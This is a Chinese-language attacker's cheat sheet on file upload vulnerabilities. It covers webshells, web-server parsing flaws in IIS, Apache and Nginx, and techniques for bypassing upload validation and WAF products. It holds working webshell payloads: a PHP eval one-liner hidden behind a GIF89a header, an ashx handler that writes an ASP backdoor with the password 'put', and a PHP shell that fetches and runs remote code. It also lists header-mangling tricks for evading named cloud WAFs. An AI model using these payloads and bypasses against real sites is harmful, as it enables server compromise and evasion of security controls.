webshell 简介
W e b S h e l l 就是以a s p 、p h p 、j s p 或者c g i 等网页文件形式存在的一种
命令执行环境, 也可以将其称之为一种网页后门。
W e b S h e l l 后门隐蔽较性高,可以轻松穿越防火墙,访问W e b S h e l l 时不会留下系统日志, 只会在网站的w e b 日志中留下一些数据提交记录
文件上传漏洞原理
- 1、文件上传漏洞形成的原因
① 对于上传文件的后缀名( 扩展名) 没有做较为严格的限制
② 对于上传文件的M I M E T Y P E ( 用于描述文件的类型的一种表述方法) 没有
做检查
③ 权限上没有对于上传的文件目录设置不可执行权限, ( 尤其是对于
s h e b a n g 类型的文件)
④ 对于w e b s e r v e r 对于上传文件或者指定目录的行为没有做限制 - 2、文件上传漏洞的原理
网站W e b 应用都有一些文件上传功能, 比如文档、图片、头像、视频
上传, 当上传功能的实现代码没有严格校验上传文件的后缀和文件类型,
此时攻击者就可以上传一个w e b s h e l l 到一个W e b 可访问的目录上, 并将恶
意文件传递给如P H P 解释器去执行, 之后就可以在服务器上执行恶意代码,
进行数据库执行、服务器文件管理, 服务器命令执行等恶意操作。还有一
部分是攻击者通过W e b 服务器的解析漏洞来突破W e b 应用程序的防护。
文件上传校验姿势
- 客户端javascript校验(一般只校验后缀名)
- 可以采用白名单,也可以采用黑名单的方式
- 服务端校验
- 文件头content-type字段校验(image/gif)
- 文件内容头校验(二进制,GIF89a)
- 文件加载检测:一般是调用AP I 或函数去进行文件加载测试,例如图像渲
染测试, 当测试结果正常的时候才允许上传
一次渲染( 代码注入)
二次渲染 - 后缀名黑名单校验
- 后缀名白名单校验
- 自定义正则校验
- WAF设备校验(根据不同的WAF产品而定)
解析漏洞
攻击者在利用上传漏洞时, 通常会与W e b 容器的解析漏洞配合在一起。
常见的W e b 容器有I I S 、N g i n x 、A p a c h e 、T o m c a t 。
- I I S 解析漏洞:(基于I I S 6 . 0 环境)
- iis6.0畸形解析:asa、cer
- iis6.0目录解析漏洞:
当建立* . a s a
、* . a s p
格式的文件夹时, 其目录下的任意文件都将被I I S 当做a s p 文件来解析。 - iis6.0文件解析漏洞:
只要文件名中含有.asp;
会优先按asp来解析。
测试案例: 创建文件名为t e s t . a s p ; 1 . j p g
, 其内容为< % = N O W ( ) % >
。 - IIS7.5文件解析:test.jpg/.php
- WebDav:基于HTTP1.1协议的通用协议,如果服务器开启,则可能支持PUT、Move、Copy、Delete
- 可以通过OPTIONS方法探测服务器所支持的HTTP方法,如:
OPTIONS / HTTP1.1
Host: www.baidu.com
- 可以通过OPTIONS方法探测服务器所支持的HTTP方法,如:
- A p a c h e 解析漏洞:(基于apache1.x和apache2.x)
- A p a c h e 在解析文件名的原理:
当遇到不认识的扩展名, 将会从后向前解析, 直到碰到认识的扩展名。
如文件名为1 . p h p . a a
, 首先解析a a 扩展名, 发现不认识继续向前面遍历。若果都不认识,则会暴露其源代码。 - 配置apache可识别的拓展名:apache安装目录下的
/conf/mime.types
文件
- A p a c h e 在解析文件名的原理:
- P H P C G I ( N g i n x ) 解析漏洞:
- 对任意文件名只要在URL后面追加上字符串
/任意文件名.php
就会按照php的方式去解析。
如:访问xxx.xx.com/1.jpg/1.php
,在访问UR L 时,当N g i n x 服务器遇到1 . p h p 是不存在的文件时, 便会向前遍历解析,1.jpg会按照php脚本来解析,于是造成解析漏洞 - 在P H P 的配置文件中有一个选项:
cg i . f i x _ p a t h i n f o = T r u e
, 在访问UR L 时,当N g i n x 服务器遇到1 . p h p 是不存在的文件时, 便会向前遍历解析。c g i . f i x _ p a t h i n f o 默认是开启的
- 对任意文件名只要在URL后面追加上字符串
- Nginx解析漏洞
- 一个是对任意文件名,在后面添加/任意文件名.php的解析漏洞,比如原本文件名是test.jpg,可以添加为test.jpg/x.php进行解析攻击。
- 还有一种是对低版本的Nginx可以在任意文件名后面添加%00.php进行解析攻击。
(任意文件名)%00.php
分类总结一下绕过手段(绕过常与解析漏洞一起使用)
前端限制绕过
- 中间人攻击
- 使用BURP抓包修改后重放
- 或者使用浏览器中元素审查,修改允许或禁止上传文件类型。
服务器端绕过
- 黑名单后缀绕过
- 从黑名单中找到web开发人员忽略的扩展名,如:.cer
- 大小写、双写等等
- Windows系统下,如果文件名以
.
或空格
结尾,系统会自动去除.
与空格
后的内容,利用此特性也可绕过
- MIME类型绕过
- 上传木马时,提示格式错误。直接抓包修改Content-Type为正确的格式尝试绕过
- 目录验证
- 上传时,通常允许将文件上传到指定目录。如果指定的目录存在,则直接上传,如果目录不存在,则建立目录并上传
- 00截断绕过上传
在asp程序中最常见- 在URL中使用 %00
- 在burp中使用时,先将文件命名为形如:
1.asp空格ha.jpg
,然后进入hex,将空格20改为16进制数00
- 文件内容检测绕过
-
针对文件内容检测的绕过,一般有两种方式,
-
1.制作图片马
- 将马写入到图片中
-
2.文件幻术头绕过
- 在文件内容开头加入GIF89a。GIF89a图片头文件欺骗,使用getimagesize函数无法判断其图片是无效的。
- 如
GIF89a<script language='php'>@eval($_POST['ye']);</script>
-
-
文本编辑器上传漏洞
多次上传Win特性绕过
- 多次上传同一个文件,windows会自动更新补全TEST (1).php
有时会触发条件竞争,导致绕过。
条件竞争绕过
- 通过BURP不断发包,导致不断写入Webshell,再写入速度频率上超过安全软件查杀频率,导致绕过。
CONTENT-LENGTH绕过
针对这种类型的验证,我们可以通过上传一些非常短的恶意代码来绕过。
上传文件的大小取决于,Web服务器上的最大长度限制。
我们可以使用不同大小的文件来fuzzing上传程序,从而计算出它的限制范围。
垃圾数据填充绕过
- 修改HTTP请求,再之中加入大量垃圾数据。
文件扩展名绕过
php除了可以解析php后缀还可以解析php2、php3、php4、php5、php7、phtml、phps、pht
ashx上传绕过
-
cer,asa,cdx等等无法使用时候。
-
解析后就会生成一个test.asp的马,你就可以连接这个test.asp 密码为:put
<%@WebHandlerLanguage="C#"Class="Handler"%> usingSystem; usingSystem.Web; usingSystem.IO; publicclassHandler:IHttpHandler{ publicvoidProcessRequest(HttpContext context){ context.Response.ContentType="text/plain"; //这里会在目录下生成一个test.asp的文件 StreamWriter file1=File.CreateText(context.Server.MapPath("test.asp")); //这里是写入一句话木马 密码是:put file1.Write("<%response.clear:execute request("put"):response.End%>"); file1.Flush(); file1.Close(); } publicboolIsReusable{ get{ returnfalse; } } }
Windows流特性绕过
- php在windows的时候如果
文件名+::$DATA
会把::$DATA
之后的数据当成文件流处理,不会检测后缀名.且保持::$DATA
之前的文件名。
如:Test.php::$DATA .jpg 生成0.jp
白名单后缀绕过
- IIS 6.0目录路径检测解析绕过
- 上传路径改为 XXX/1.asp/
htaccess解析漏洞
- 上传的jpg文件都会以php格式解析
- .htaccess内容: AddType application/x-httpd-php .jpg
- CVE-2017-15715,这个漏洞利用方式就是上传一个文件名最后带有换行符(只能是x0A,如上传a.php,然后在burp中修改文件名为a.phpx0A),以此来绕过一些黑名单过滤。
下载绕过
远程下载文件绕过
<?php
$str = file_get_contents('http://127.0.0.1/ian.txt');
$str($_post['ian']);
?>
文件包含绕过
上传图片木马
$x=$_GET['x'];
include($x);
访问:http://www.xxxx.com/news.php?x=xxxxxx.jpg
安全狗绕过
-
1.绕过思路:对文件的内容,数据,数据包进行处理。
-
关键点在这里Content-Disposition: form-data; name="file"; filename="ian.php"
-
将form-data;修改为~form-data;
-
-
2.通过替换大小写来进行绕过
-
Content-Disposition: form-data; name="file"; filename="yjh.php"
-
Content-Type: application/octet-stream
-
将Content-Disposition修改为content-Disposition
-
将 form-data 修改为Form-data
-
将Content-Type修改为content-Type
-
-
3.通过删减空格来进行绕过
-
Content-Disposition: form-data; name="file"; filename="yjh.php"
-
Content-Type: application/octet-stream
-
将Content-Disposition: form-data 冒号后面增加或减少一个空格
-
将form-data; name="file";分号后面增加或减少一个空格
-
将Content-Type: application/octet-stream 冒号后面增加一个空格
-
-
4.通过字符串拼接绕过
-
Content-Disposition: form-data; name="file"; filename="yjh3.php"
-
将 form-data 修改为 f+orm-data
-
将from-data 修改为 form-d+ata
-
-
5.双文件上传绕过
<formaction="https://www.xxx.com/xxx.asp(php)"method="post"name="form1"enctype="multipart/form-data">
<inputname="FileName1"type="FILE"class="tx1"size="40">
<inputname="FileName2"type="FILE"class="tx1"size="40">
<inputtype="submit"name="Submit"value="上传">
</form>
-
6.HTTP header 属性值绕过
- Content-Disposition: form-data; name="file"; filename="yjh.php"
- 我们通过替换form-data 为*来绕过
- Content-Disposition:*; name="file"; filename="yjh.php"
-
7.HTTP header 属性名称绕过
- Content-Disposition: form-data; name="image"; filename="085733uykwusqcs8vw8wky.png"
- Content-Type: image/png
- 绕过内容如下:
- Content-Disposition: form-data; name="image"; filename="085733uykwusqcs8vw8wky.png
- C.php"
- 删除掉ontent-Type: image/jpeg只留下c,将.php加c后面即可,但是要注意额,双引号要跟着c.php"
-
8.等效替换绕过
-
原内容:
- Content-Type: multipart/form-data; boundary=---------------------------471463142114
-
修改后:
- Content-Type: multipart/form-data; boundary =---------------------------471463142114
-
boundary后面加入空格
-
-
9.修改编码绕过
- 使用UTF-16、Unicode、双URL编码等等
WTS-WAF 绕过上传
- 原内容:
- Content-Disposition: form-data; name="up_picture"; filename="xss.php"
- 添加回车
- Content-Disposition: form-data; name="up_picture"; filename="xss.php"
百度云上传绕过
百度云绕过就简单的很多很多,在对文件名大小写上面没有检测php是过了的,Php就能过,或者PHP,一句话,,自己合成图片马用Xise连接即可。
- Content-Disposition: form-data; name="up_picture"; filename="xss.jpg .Php"
阿里云上传绕过
-
源代码:
- Content-Disposition: form-data; name="img_crop_file"; filename="1.jpg .Php"
- Content-Type:image/jpeg
-
修改如下:
- Content-Disposition: form-data; name="img_crop_file"; filename="1.php"
-
没错,将=号这里回车删除掉Content-Type: image/jpeg即可绕过。
360主机上传绕过
- 源代码:
- Content-Disposition: form-data; name="image"; filename="085733uykwusqcs8vw8wky.png"
- Content-Type: image/png
- 绕过内容如下:
- Content-Disposition: form-data; name="image"; filename="085733uykwusqcs8vw8wky.png"
- Content-Disposition 修改为 Content-空格Disposition